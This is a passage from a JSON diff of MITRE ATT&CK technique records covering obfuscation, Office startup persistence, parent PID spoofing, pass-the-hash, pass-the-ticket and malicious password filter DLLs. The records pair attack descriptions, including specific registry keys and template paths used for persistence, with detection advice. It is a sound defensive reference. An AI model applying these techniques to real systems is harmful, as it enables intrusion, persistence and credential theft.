Autoruns", + "description": "Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. Retrieved June 6, 2016.", + "url": "https://technet.microsoft.com/en-us/sysinternals/bb963902" + } + ], + "modified": "2019-07-18T16:43:25.906Z" + }, + { + "x_mitre_data_sources": [ + "Network protocol analysis", + "Process use of network", + "File monitoring", + "Malware reverse engineering", + "Binary file metadata", + "Process command-line parameters", + "Environment variable", + "Process monitoring", + "Windows event logs", + "Network intrusion detection system", + "Email gateway", + "SSL/TLS inspection" + ], + "name": "Obfuscated Files or Information", + "description": "Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.\n\nPayloads may be compressed, archived, or encrypted in order to avoid detection. These payloads may be used during Initial Access or later to mitigate detection. Sometimes a user's action may be required to open and [Deobfuscate/Decode Files or Information](https://attack.mitre.org/techniques/T1140) for [User Execution](https://attack.mitre.org/techniques/T1204). The user may also be required to input a password to open a password protected compressed/encrypted file that was provided by the adversary. (Citation: Volexity PowerDuke November 2016) Adversaries may also used compressed or archived scripts, such as Javascript.\n\nPortions of files can also be encoded to hide the plain-text strings that would otherwise help defenders with discovery. (Citation: Linux/Cdorked.A We Live Security Analysis) Payloads may also be split into separate, seemingly benign files that only reveal malicious functionality when reassembled. (Citation: Carbon Black Obfuscation Sept 2016)\n\nAdversaries may also obfuscate commands executed from payloads or directly via a [Command-Line Interface](https://attack.mitre.org/techniques/T1059). Environment variables, aliases, characters, and other platform/language specific semantics can be used to evade signature based detections and whitelisting mechanisms. (Citation: FireEye Obfuscation June 2017) (Citation: FireEye Revoke-Obfuscation July 2017) (Citation: PaloAlto EncodedCommand March 2017)\n\nAnother example of obfuscation is through the use of steganography, a technique of hiding messages or code in images, audio tracks, video clips, or text files. One of the first known and reported adversaries that used steganography activity surrounding [Invoke-PSImage](https://attack.mitre.org/software/S0231). The Duqu malware encrypted the gathered information from a victim's system and hid it into an image followed by exfiltrating the image to a C2 server. (Citation: Wikipedia Duqu) By the end of 2017, an adversary group used [Invoke-PSImage](https://attack.mitre.org/software/S0231) to hide PowerShell commands in an image file (png) and execute the code on a victim's system. In this particular case the PowerShell code downloaded another obfuscated script to gather intelligence from the victim's machine and communicate it back to the adversary. (Citation: McAfee Malicious Doc Targets Pyeongchang Olympics)", + "id": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", + "modified": "2019-06-25T12:14:59.189Z", + "x_mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "type": "attack-pattern", + "x_mitre_detection": "Detection of file obfuscation is difficult unless artifacts are left behind by the obfuscation process that are uniquely detectable with a signature. If detection of the obfuscation itself is not possible, it may be possible to detect the malicious activity that caused the obfuscated file (for example, the method that was used to write, read, or modify the file on the file system).\n\nFlag and analyze commands containing indicators of obfuscation and known suspicious syntax such as uninterpreted escape characters like '''^''' and '''\"'''. Windows' Sysmon and Event ID 4688 displays command-line arguments for processes. Deobfuscation tools can be used to detect these indicators in files/payloads. (Citation: GitHub Revoke-Obfuscation) (Citation: FireEye Revoke-Obfuscation July 2017) (Citation: GitHub Office-Crackros Aug 2016)\n\nObfuscation used in payloads for Initial Access can be detected at the network. Use network intrusion detection systems and email gateway filtering to identify compressed and encrypted attachments and scripts. Some email attachment detonation systems can open compressed and encrypted attachments. Payloads delivered over an encrypted connection from a website require encrypted network traffic inspection.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_contributors": [ + "Red Canary", + "Christiaan Beek, @ChristiaanBeek" + ], + "created": "2017-05-31T21:30:32.662Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "defense-evasion" + } + ], + "external_references": [ + { + "external_id": "T1027", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1027" + }, + { + "source_name": "capec", + "external_id": "CAPEC-267", + "url": "https://capec.mitre.org/data/definitions/267.html" + }, + { + "source_name": "Volexity PowerDuke November 2016", + "description": "Adair, S.. (2016, November 9). PowerDuke: Widespread Post-Election Spear Phishing Campaigns Targeting Think Tanks and NGOs. Retrieved January 11, 2017.", + "url": "https://www.volexity.com/blog/2016/11/09/powerduke-post-election-spear-phishing-campaigns-targeting-think-tanks-and-ngos/" + }, + { + "description": "Pierre-Marc Bureau. (2013, April 26). Linux/Cdorked.A: New Apache backdoor being used in the wild to serve Blackhole. Retrieved September 10, 2017.", + "source_name": "Linux/Cdorked.A We Live Security Analysis", + "url": "https://www.welivesecurity.com/2013/04/26/linuxcdorked-new-apache-backdoor-in-the-wild-serves-blackhole/" + }, + { + "source_name": "Carbon Black Obfuscation Sept 2016", + "description": "Tedesco, B. (2016, September 23). Security Alert Summary. Retrieved February 12, 2018.", + "url": "https://www.carbonblack.com/2016/09/23/security-advisory-variants-well-known-adware-families-discovered-include-sophisticated-obfuscation-techniques-previously-associated-nation-state-attacks/" + }, + { + "description": "Bohannon, D. & Carr N. (2017, June 30). Obfuscation in the Wild: Targeted Attackers Lead the Way in Evasion Techniques. Retrieved February 12, 2018.", + "source_name": "FireEye Obfuscation June 2017", + "url": "https://www.fireeye.com/blog/threat-research/2017/06/obfuscation-in-the-wild.html" + }, + { + "source_name": "FireEye Revoke-Obfuscation July 2017", + "description": "Bohannon, D. & Holmes, L. (2017, July 27). Revoke-Obfuscation: PowerShell Obfuscation Detection Using Science. Retrieved February 12, 2018.", + "url": "https://www.fireeye.com/content/dam/fireeye-www/blog/pdfs/revoke-obfuscation-report.pdf" + }, + { + "source_name": "PaloAlto EncodedCommand March 2017", + "description": "White, J. (2017, March 10). Pulling Back the Curtains on EncodedCommand PowerShell Attacks. Retrieved February 12, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2017/03/unit42-pulling-back-the-curtains-on-encodedcommand-powershell-attacks/" + }, + { + "source_name": "Wikipedia Duqu", + "description": "Wikipedia. (2017, December 29). Duqu. Retrieved April 10, 2018.", + "url": "https://en.wikipedia.org/wiki/Duqu" + }, + { + "description": "Saavedra-Morales, J., Sherstobitoff, R. (2018, January 6). Malicious Document Targets Pyeongchang Olympics. Retrieved April 10, 2018.", + "source_name": "McAfee Malicious Doc Targets Pyeongchang Olympics", + "url": "https://securingtomorrow.mcafee.com/mcafee-labs/malicious-document-targets-pyeongchang-olympics/" + }, + { + "source_name": "GitHub Revoke-Obfuscation", + "description": "Bohannon, D. (2017, July 27). Revoke-Obfuscation. Retrieved February 12, 2018.", + "url": "https://github.com/danielbohannon/Revoke-Obfuscation" + }, + { + "source_name": "GitHub Office-Crackros Aug 2016", + "description": "Carr, N. (2016, August 14). OfficeCrackros. Retrieved February 12, 2018.", + "url": "https://github.com/itsreallynick/office-crackros" + } + ], + "x_mitre_defense_bypassed": [ + "Host forensic analysis", + "Signature-based detection", + "Host intrusion prevention systems", + "Application whitelisting", + "Process whitelisting", + "Log analysis", + "Whitelisting by file name or path" + ] + }, + { + "x_mitre_data_sources": [ + "Process monitoring", + "Process command-line parameters", + "Windows Registry", + "File monitoring" + ], + "x_mitre_permissions_required": [ + "User", + "Administrator" + ], + "name": "Office Application Startup", + "description": "Microsoft Office is a fairly common application suite on Windows-based operating systems within an enterprise network. There are multiple mechanisms that can be used with Office for persistence when an Office-based application is started.\n\n### Office Template Macros\n\nMicrosoft Office contains templates that are part of common Office applications and are used to customize styles. The base templates within the application are used each time an application starts. (Citation: Microsoft Change Normal Template)\n\nOffice Visual Basic for Applications (VBA) macros (Citation: MSDN VBA in Office) can be inserted into the base template and used to execute code when the respective Office application starts in order to obtain persistence. Examples for both Word and Excel have been discovered and published. By default, Word has a Normal.dotm template created that can be modified to include a malicious macro. Excel does not have a template file created by default, but one can be added that will automatically be loaded.(Citation: enigma0x3 normal.dotm)(Citation: Hexacorn Office Template Macros) Shared templates may also be stored and pulled from remote locations.(Citation: GlobalDotName Jun 2019) \n\nWord Normal.dotm location:C:\\Users\\\\(username)\\AppData\\Roaming\\Microsoft\\Templates\\Normal.dotm\n\nExcel Personal.xlsb location:C:\\Users\\\\(username)\\AppData\\Roaming\\Microsoft\\Excel\\XLSTART\\PERSONAL.XLSB\n\nAdversaries may also change the location of the base template to point to their own by hijacking the application's search order, e.g. Word 2016 will first look for Normal.dotm under C:\\Program Files (x86)\\Microsoft Office\\root\\Office16\\, or by modifying the GlobalDotName registry key. By modifying the GlobalDotName registry key an adversary can specify an arbitrary location, file name, and file extension to use for the template that will be loaded on application startup. To abuse GlobalDotName, adversaries may first need to register the template as a trusted document or place it in a trusted location.(Citation: GlobalDotName Jun 2019) \n\nAn adversary may need to enable macros to execute unrestricted depending on the system or enterprise security policy on use of macros.\n\n### Office Test\n\nA Registry location was found that when a DLL reference was placed within it the corresponding DLL pointed to by the binary path would be executed every time an Office application is started (Citation: Hexacorn Office Test)\n\nHKEY_CURRENT_USER\\Software\\Microsoft\\Office test\\Special\\Perf\n\n### Add-ins\n\nOffice add-ins can be used to add functionality to Office programs. (Citation: Microsoft Office Add-ins)\n\nAdd-ins can also be used to obtain persistence because they can be set to execute code when an Office application starts. There are different types of add-ins that can be used by the various Office products; including Word/Excel add-in Libraries (WLL/XLL), VBA add-ins, Office Component Object Model (COM) add-ins, automation add-ins, VBA Editor (VBE), Visual Studio Tools for Office (VSTO) add-ins, and Outlook add-ins. (Citation: MRWLabs Office Persistence Add-ins)(Citation: FireEye Mail CDS 2018)\n\n### Outlook Rules, Forms, and Home Page\n\nA variety of features have been discovered in Outlook that can be abused to obtain persistence, such as Outlook rules, forms, and Home Page.(Citation: SensePost Ruler GitHub) These persistence mechanisms can work within Outlook or be used through Office 365.(Citation: TechNet O365 Outlook Rules)\n\nOutlook rules allow a user to define automated behavior to manage email messages. A benign rule might, for example, automatically move an email to a particular folder in Outlook if it contains specific words from a specific sender. Malicious Outlook rules can be created that can trigger code execution when an adversary sends a specifically crafted email to that user.(Citation: SilentBreak Outlook Rules)\n\nOutlook forms are used as templates for presentation and functionality in Outlook messages. Custom Outlook Forms can be created that will execute code when a specifically crafted email is sent by an adversary utilizing the same custom Outlook form.(Citation: SensePost Outlook Forms)\n\nOutlook Home Page is a legacy feature used to customize the presentation of Outlook folders. This feature allows for an internal or external URL to be loaded and presented whenever a folder is opened. A malicious HTML page can be crafted that will execute code when loaded by Outlook Home Page.(Citation: SensePost Outlook Home Page)\n\nTo abuse these features, an adversary requires prior access to the user\u2019s Outlook mailbox, either via an Exchange/OWA server or via the client application. Once malicious rules, forms, or Home Pages have been added to the user\u2019s mailbox, they will be loaded when Outlook is started. Malicious Home Pages will execute when the right Outlook folder is loaded/reloaded while malicious rules and forms will execute when an adversary sends a specifically crafted email to the user.(Citation: SilentBreak Outlook Rules)(Citation: SensePost Outlook Forms)(Citation: SensePost Outlook Home Page)", + "id": "attack-pattern--2c4d4e92-0ccf-4a97-b54c-86d662988a53", + "x_mitre_platforms": [ + "Windows", + "Office 365" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.2", + "x_mitre_system_requirements": [ + "Office Test technique: Office 2007, 2010, 2013, 2015 and 2016\nAdd-ins: some require administrator permissions" + ], + "type": "attack-pattern", + "x_mitre_detection": "Many Office-related persistence mechanisms require changes to the Registry and for binaries, files, or scripts to be written to disk or existing files modified to include malicious scripts. Collect events related to Registry key creation and modification for keys that could be used for Office-based persistence.(Citation: CrowdStrike Outlook Forms)(Citation: Outlook Today Home Page) Modification to base templated, like Normal.dotm, should also be investigated since the base templates should likely not contain VBA macros. Changes to the Office macro security settings should also be investigated.(Citation: GlobalDotName Jun 2019)\n\nMonitor and validate the Office trusted locations on the file system and audit the Registry entries relevant for enabling add-ins.(Citation: GlobalDotName Jun 2019)(Citation: MRWLabs Office Persistence Add-ins)\n\nNon-standard process execution trees may also indicate suspicious or malicious behavior. Collect process execution information including process IDs (PID) and parent process IDs (PPID) and look for abnormal chains of activity resulting from Office processes. If winword.exe is the parent process for suspicious processes and activity relating to other adversarial techniques, then it could indicate that the application was used maliciously.\n\nFor the Outlook rules and forms methods, Microsoft has released a PowerShell script to safely gather mail forwarding rules and custom forms in your mail environment as well as steps to interpret the output.(Citation: Microsoft Detect Outlook Forms) SensePost, whose tool [Ruler](https://attack.mitre.org/software/S0358) can be used to carry out malicious rules, forms, and Home Page attacks, has released a tool to detect Ruler usage.(Citation: SensePost NotRuler)", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_contributors": [ + "Microsoft Threat Intelligence Center (MSTIC)", + "Sahar Shukrun", + "Praetorian", + "Nick Carr, FireEye", + "Loic Jaquemet", + "Ricardo Dias" + ], + "created": "2017-12-14T16:46:06.044Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "persistence" + } + ], + "external_references": [ + { + "external_id": "T1137", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1137" + }, + { + "source_name": "Microsoft Change Normal Template", + "description": "Microsoft. (n.d.). Change the Normal template (Normal.dotm). Retrieved July 3, 2017.", + "url": "https://support.office.com/article/Change-the-Normal-template-Normal-dotm-06de294b-d216-47f6-ab77-ccb5166f98ea" + }, + { + "source_name": "MSDN VBA in Office", + "description": "Austin, J. (2017, June 6). Getting Started with VBA in Office. Retrieved July 3, 2017.", + "url": "https://msdn.microsoft.com/en-us/vba/office-shared-vba/articles/getting-started-with-vba-in-office" + }, + { + "source_name": "enigma0x3 normal.dotm", + "description": "Nelson, M. (2014, January 23). Maintaining Access with normal.dotm. Retrieved July 3, 2017.", + "url": "https://enigma0x3.net/2014/01/23/maintaining-access-with-normal-dotm/comment-page-1/" + }, + { + "source_name": "Hexacorn Office Template Macros", + "description": "Hexacorn. (2017, April 17). Beyond good ol\u2019 Run key, Part 62. Retrieved July 3, 2017.", + "url": "http://www.hexacorn.com/blog/2017/04/19/beyond-good-ol-run-key-part-62/" + }, + { + "description": "Shukrun, S. (2019, June 2). Office Templates and GlobalDotName - A Stealthy Office Persistence Technique. Retrieved August 26, 2019.", + "source_name": "GlobalDotName Jun 2019", + "url": "https://www.221bluestreet.com/post/office-templates-and-globaldotname-a-stealthy-office-persistence-technique" + }, + { + "source_name": "Hexacorn Office Test", + "description": "Hexacorn. (2014, April 16). Beyond good ol\u2019 Run key, Part 10. Retrieved July 3, 2017.", + "url": "http://www.hexacorn.com/blog/2014/04/16/beyond-good-ol-run-key-part-10/" + }, + { + "source_name": "Microsoft Office Add-ins", + "description": "Microsoft. (n.d.). Add or remove add-ins. Retrieved July 3, 2017.", + "url": "https://support.office.com/article/Add-or-remove-add-ins-0af570c4-5cf3-4fa9-9b88-403625a0b460" + }, + { + "source_name": "MRWLabs Office Persistence Add-ins", + "description": "Knowles, W. (2017, April 21). Add-In Opportunities for Office Persistence. Retrieved July 3, 2017.", + "url": "https://labs.mwrinfosecurity.com/blog/add-in-opportunities-for-office-persistence/" + }, + { + "description": "Caban, D. and Hirani, M. (2018, October 3). You\u2019ve Got Mail! Enterprise Email Compromise. Retrieved April 22, 2019.", + "source_name": "FireEye Mail CDS 2018", + "url": "https://summit.fireeye.com/content/dam/fireeye-www/summit/cds-2018/presentations/cds18-technical-s03-youve-got-mail.pdf" + }, + { + "description": "SensePost. (2016, August 18). Ruler: A tool to abuse Exchange services. Retrieved February 4, 2019.", + "source_name": "SensePost Ruler GitHub", + "url": "https://github.com/sensepost/ruler" + }, + { + "url": "https://blogs.technet.microsoft.com/office365security/defending-against-rules-and-forms-injection/", + "description": "Koeller, B.. (2018, February 21). Defending Against Rules and Forms Injection. Retrieved November 5, 2019.", + "source_name": "TechNet O365 Outlook Rules" + }, + { + "description": "Landers, N. (2015, December 4). Malicious Outlook Rules. Retrieved February 4, 2019.", + "source_name": "SilentBreak Outlook Rules", + "url": "https://silentbreaksecurity.com/malicious-outlook-rules/" + }, + { + "description": "Stalmans, E. (2017, April 28). Outlook Forms and Shells. Retrieved February 4, 2019.", + "source_name": "SensePost Outlook Forms", + "url": "https://sensepost.com/blog/2017/outlook-forms-and-shells/" + }, + { + "description": "Stalmans, E. (2017, October 11). Outlook Home Page \u2013 Another Ruler Vector. Retrieved February 4, 2019.", + "source_name": "SensePost Outlook Home Page", + "url": "https://sensepost.com/blog/2017/outlook-home-page-another-ruler-vector/" + }, + { + "description": "Parisi, T., et al. (2017, July). Using Outlook Forms for Lateral Movement and Persistence. Retrieved February 5, 2019.", + "source_name": "CrowdStrike Outlook Forms", + "url": "https://malware.news/t/using-outlook-forms-for-lateral-movement-and-persistence/13746" + }, + { + "description": "Soutcast. (2018, September 14). Outlook Today Homepage Persistence. Retrieved February 5, 2019.", + "source_name": "Outlook Today Home Page", + "url": "https://medium.com/@bwtech789/outlook-today-homepage-persistence-33ea9b505943" + }, + { + "description": "Fox, C., Vangel, D. (2018, April 22). Detect and Remediate Outlook Rules and Custom Forms Injections Attacks in Office 365. Retrieved February 4, 2019.", + "source_name": "Microsoft Detect Outlook Forms", + "url": "https://docs.microsoft.com/en-us/office365/securitycompliance/detect-and-remediate-outlook-rules-forms-attack" + }, + { + "description": "SensePost. (2017, September 21). NotRuler - The opposite of Ruler, provides blue teams with the ability to detect Ruler usage against Exchange. Retrieved February 4, 2019.", + "source_name": "SensePost NotRuler", + "url": "https://github.com/sensepost/notruler" + } + ], + "modified": "2019-10-08T21:10:31.591Z" + }, + { + "x_mitre_data_sources": [ + "Windows event logs", + "Process monitoring", + "API monitoring" + ], + "x_mitre_permissions_required": [ + "User", + "Administrator" + ], + "name": "Parent PID Spoofing", + "description": "Adversaries may spoof the parent process identifier (PPID) of a new process to evade process-monitoring defenses or to elevate privileges. New processes are typically spawned directly from their parent, or calling, process unless explicitly specified. One way of explicitly assigning the PPID of a new process is via the CreateProcess API call, which supports a parameter that defines the PPID to use.(Citation: DidierStevens SelectMyParent Nov 2009) This functionality is used by Windows features such as User Account Control (UAC) to correctly set the PPID after a requested elevated process is spawned by SYSTEM (typically via svchost.exe or consent.exe) rather than the current user context.(Citation: Microsoft UAC Nov 2018)\n\nAdversaries may abuse these mechanisms to evade defenses, such as those blocking processes spawning directly from Office documents, and analysis targeting unusual/potentially malicious parent-child process relationships, such as spoofing the PPID of [PowerShell](https://attack.mitre.org/techniques/T1086)/[Rundll32](https://attack.mitre.org/techniques/T1085) to be explorer.exe rather than an Office document delivered as part of [Spearphishing Attachment](https://attack.mitre.org/techniques/T1193).(Citation: CounterCept PPID Spoofing Dec 2018) This spoofing could be executed via VBA [Scripting](https://attack.mitre.org/techniques/T1064) within a malicious Office document or any code that can perform [Execution through API](https://attack.mitre.org/techniques/T1106).(Citation: CTD PPID Spoofing Macro Mar 2019)(Citation: CounterCept PPID Spoofing Dec 2018)\n\nExplicitly assigning the PPID may also enable [Privilege Escalation](https://attack.mitre.org/tactics/TA0004) (given appropriate access rights to the parent process). For example, an adversary in a privileged user context (i.e. administrator) may spawn a new process and assign the parent as a process running as SYSTEM (such as lsass.exe), causing the new process to be elevated via the inherited access token.(Citation: XPNSec PPID Nov 2017)", + "id": "attack-pattern--9ddc2534-e91c-4dab-a8f6-43dab81e8142", + "modified": "2019-07-08T21:51:22.635Z", + "x_mitre_platforms": [ + "Windows" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "type": "attack-pattern", + "x_mitre_detection": "Look for inconsistencies between the various fields that store PPID information, such as the EventHeader ProcessId from data collected via Event Tracing for Windows (ETW), Creator Process ID/Name from Windows event logs, and the ProcessID and ParentProcessID (which are also produced from ETW and other utilities such as Task Manager and Process Explorer). The ETW provided EventHeader ProcessId identifies the actual parent process.(Citation: CounterCept PPID Spoofing Dec 2018)\n\nMonitor and analyze API calls to CreateProcess/CreateProcessA, specifically those from user/potentially malicious processes and with parameters explicitly assigning PPIDs (ex: the Process Creation Flags of 0x8XXX, indicating that the process is being created with extended startup information(Citation: Microsoft Process Creation Flags May 2018)). Malicious use of CreateProcess/CreateProcessA may also be proceeded by a call to UpdateProcThreadAttribute, which may be necessary to update process creation attributes.(Citation: Secuirtyinbits Ataware3 May 2019) This may generate false positives from normal UAC elevation behavior, so compare to a system baseline/understanding of normal system activity if possible.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_contributors": [ + "Wayne Silva, Countercept" + ], + "created": "2019-06-03T14:50:50.613Z", + "kill_chain_phases": [ + { + "phase_name": "defense-evasion", + "kill_chain_name": "mitre-attack" + }, + { + "phase_name": "privilege-escalation", + "kill_chain_name": "mitre-attack" + } + ], + "external_references": [ + { + "external_id": "T1502", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1502" + }, + { + "source_name": "DidierStevens SelectMyParent Nov 2009", + "description": "Stevens, D. (2009, November 22). Quickpost: SelectMyParent or Playing With the Windows Process Tree. Retrieved June 3, 2019.", + "url": "https://blog.didierstevens.com/2009/11/22/quickpost-selectmyparent-or-playing-with-the-windows-process-tree/" + }, + { + "source_name": "Microsoft UAC Nov 2018", + "description": "Montemayor, D. et al.. (2018, November 15). How User Account Control works. Retrieved June 3, 2019.", + "url": "https://docs.microsoft.com/windows/security/identity-protection/user-account-control/how-user-account-control-works" + }, + { + "source_name": "CounterCept PPID Spoofing Dec 2018", + "description": "Loh, I. (2018, December 21). Detecting Parent PID Spoofing. Retrieved June 3, 2019.", + "url": "https://www.countercept.com/blog/detecting-parent-pid-spoofing/" + }, + { + "source_name": "CTD PPID Spoofing Macro Mar 2019", + "description": "Tafani-Dereeper, C. (2019, March 12). Building an Office macro to spoof parent processes and command line arguments. Retrieved June 3, 2019.", + "url": "https://blog.christophetd.fr/building-an-office-macro-to-spoof-process-parent-and-command-line/" + }, + { + "source_name": "XPNSec PPID Nov 2017", + "description": "Chester, A. (2017, November 20). Alternative methods of becoming SYSTEM. Retrieved June 4, 2019.", + "url": "https://blog.xpnsec.com/becoming-system/" + }, + { + "description": "Schofield, M. & Satran, M. (2018, May 30). Process Creation Flags. Retrieved June 4, 2019.", + "source_name": "Microsoft Process Creation Flags May 2018", + "url": "https://docs.microsoft.com/windows/desktop/ProcThread/process-creation-flags" + }, + { + "source_name": "Secuirtyinbits Ataware3 May 2019", + "description": "Secuirtyinbits . (2019, May 14). Parent PID Spoofing (Stage 2) Ataware Ransomware Part 3. Retrieved June 6, 2019.", + "url": "https://www.securityinbits.com/malware-analysis/parent-pid-spoofing-stage-2-ataware-ransomware-part-3" + } + ], + "x_mitre_defense_bypassed": [ + "Host forensic analysis", + "Heuristic Detection" + ] + }, + { + "x_mitre_data_sources": [ + "Authentication logs" + ], + "type": "attack-pattern", + "name": "Pass the Hash", + "description": "Pass the hash (PtH) is a method of authenticating as a user without having access to the user's cleartext password. This method bypasses standard authentication steps that require a cleartext password, moving directly into the portion of the authentication that uses the password hash. In this technique, valid password hashes for the account being used are captured using a Credential Access technique. Captured hashes are used with PtH to authenticate as that user. Once authenticated, PtH may be used to perform actions on local or remote systems. \n\nWindows 7 and higher with KB2871997 require valid domain user credentials or RID 500 administrator hashes. (Citation: NSA Spotting)", + "id": "attack-pattern--c23b740b-a42b-47a1-aec2-9d48ddd547ff", + "x_mitre_platforms": [ + "Windows" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "x_mitre_system_requirements": [ + "Requires Microsoft Windows as target system" + ], + "x_mitre_detection": "Audit all logon and credential use events and review for discrepancies. Unusual remote logins that correlate with other suspicious activity (such as writing and executing binaries) may indicate malicious activity. NTLM LogonType 3 authentications that are not associated to a domain login and are not anonymous logins are suspicious.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_contributors": [ + "Travis Smith, Tripwire" + ], + "created": "2017-05-31T21:30:59.339Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "lateral-movement" + } + ], + "external_references": [ + { + "external_id": "T1075", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1075" + }, + { + "source_name": "capec", + "external_id": "CAPEC-644", + "url": "https://capec.mitre.org/data/definitions/644.html" + }, + { + "source_name": "NSA Spotting", + "description": "National Security Agency/Central Security Service Information Assurance Directorate. (2015, August 7). Spotting the Adversary with Windows Event Log Monitoring. Retrieved September 6, 2018.", + "url": "https://www.iad.gov/iad/library/reports/spotting-the-adversary-with-windows-event-log-monitoring.cfm" + } + ], + "modified": "2019-07-18T16:56:39.990Z" + }, + { + "x_mitre_data_sources": [ + "Authentication logs" + ], + "type": "attack-pattern", + "name": "Pass the Ticket", + "description": "Pass the ticket (PtT) is a method of authenticating to a system using Kerberos tickets without having access to an account's password. Kerberos authentication can be used as the first step to lateral movement to a remote system.\n\nIn this technique, valid Kerberos tickets for [Valid Accounts](https://attack.mitre.org/techniques/T1078) are captured by [Credential Dumping](https://attack.mitre.org/techniques/T1003). A user's service tickets or ticket granting ticket (TGT) may be obtained, depending on the level of access. A service ticket allows for access to a particular resource, whereas a TGT can be used to request service tickets from the Ticket Granting Service (TGS) to access any resource the user has privileges to access. (Citation: ADSecurity AD Kerberos Attacks) (Citation: GentilKiwi Pass the Ticket)\n\nSilver Tickets can be obtained for services that use Kerberos as an authentication mechanism and are used to generate tickets to access that particular resource and the system that hosts the resource (e.g., SharePoint). (Citation: ADSecurity AD Kerberos Attacks)\n\nGolden Tickets can be obtained for the domain using the Key Distribution Service account KRBTGT account NTLM hash, which enables generation of TGTs for any account in Active Directory. (Citation: Campbell 2014)", + "id": "attack-pattern--a257ed11-ff3b-4216-8c9d-3938ef57064c", + "x_mitre_platforms": [ + "Windows" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "x_mitre_system_requirements": [ + "Requires Microsoft Windows as a target system and Kerberos authentication enabled." + ], + "x_mitre_detection": "Audit all Kerberos authentication and credential use events and review for discrepancies. Unusual remote authentication events that correlate with other suspicious activity (such as writing and executing binaries) may indicate malicious activity.\n\nEvent ID 4769 is generated on the Domain Controller when using a golden ticket after the KRBTGT password has been reset twice, as mentioned in the mitigation section. The status code 0x1F indicates the action has failed due to \"Integrity check on decrypted field failed\" and indicates misuse by a previously invalidated golden ticket. (Citation: CERT-EU Golden Ticket Protection)", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_contributors": [ + "Ryan Becwar", + "Vincent Le Toux" + ], + "created": "2017-05-31T21:31:11.623Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "lateral-movement" + } + ], + "external_references": [ + { + "external_id": "T1097", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1097" + }, + { + "source_name": "capec", + "external_id": "CAPEC-645", + "url": "https://capec.mitre.org/data/definitions/645.html" + }, + { + "source_name": "ADSecurity AD Kerberos Attacks", + "description": "Metcalf, S. (2014, November 22). Mimikatz and Active Directory Kerberos Attacks. Retrieved June 2, 2016.", + "url": "https://adsecurity.org/?p=556" + }, + { + "source_name": "GentilKiwi Pass the Ticket", + "description": "Deply, B. (2014, January 13). Pass the ticket. Retrieved June 2, 2016.", + "url": "http://blog.gentilkiwi.com/securite/mimikatz/pass-the-ticket-kerberos" + }, + { + "source_name": "Campbell 2014", + "description": "Campbell, C. (2014). The Secret Life of Krbtgt. Retrieved December 4, 2014.", + "url": "http://defcon.org/images/defcon-22/dc-22-presentations/Campbell/DEFCON-22-Christopher-Campbell-The-Secret-Life-of-Krbtgt.pdf" + }, + { + "source_name": "CERT-EU Golden Ticket Protection", + "description": "Abolins, D., Boldea, C., Socha, K., Soria-Machado, M. (2016, April 26). Kerberos Golden Ticket Protection. Retrieved July 13, 2017.", + "url": "https://cert.europa.eu/static/WhitePapers/UPDATED%20-%20CERT-EU_Security_Whitepaper_2014-007_Kerberos_Golden_Ticket_Protection_v1_4.pdf" + } + ], + "modified": "2019-07-18T16:59:03.741Z" + }, + { + "x_mitre_permissions_required": [ + "Administrator", + "SYSTEM" + ], + "x_mitre_data_sources": [ + "DLL monitoring", + "Process monitoring", + "Windows Registry" + ], + "name": "Password Filter DLL", + "description": "Windows password filters are password policy enforcement mechanisms for both domain and local accounts. Filters are implemented as dynamic link libraries (DLLs) containing a method to validate potential passwords against password policies. Filter DLLs can be positioned on local computers for local accounts and/or domain controllers for domain accounts.\n\nBefore registering new passwords in the Security Accounts Manager (SAM), the Local Security Authority (LSA) requests validation from each registered filter. Any potential changes cannot take effect until every registered filter acknowledges validation.\n\nAdversaries can register malicious password filters to harvest credentials from local computers and/or entire domains. To perform proper validation, filters must receive plain-text credentials from the LSA. A malicious password filter would receive these plain-text credentials every time a password request is made. (Citation: Carnal Ownage Password Filters Sept 2013)", + "id": "attack-pattern--b8c5c9dd-a662-479d-9428-ae745872537c", + "x_mitre_platforms": [ + "Windows" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "type": "attack-pattern", + "x_mitre_detection": "Monitor for change notifications to and from unfamiliar password filters.\n\nNewly installed password filters will not take effect until after a system reboot.\n\nPassword filters will show up as an autorun and loaded DLL in lsass.exe. (Citation: Clymb3r Function Hook Passwords Sept 2013)", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_contributors": [ + "Vincent Le Toux" + ], 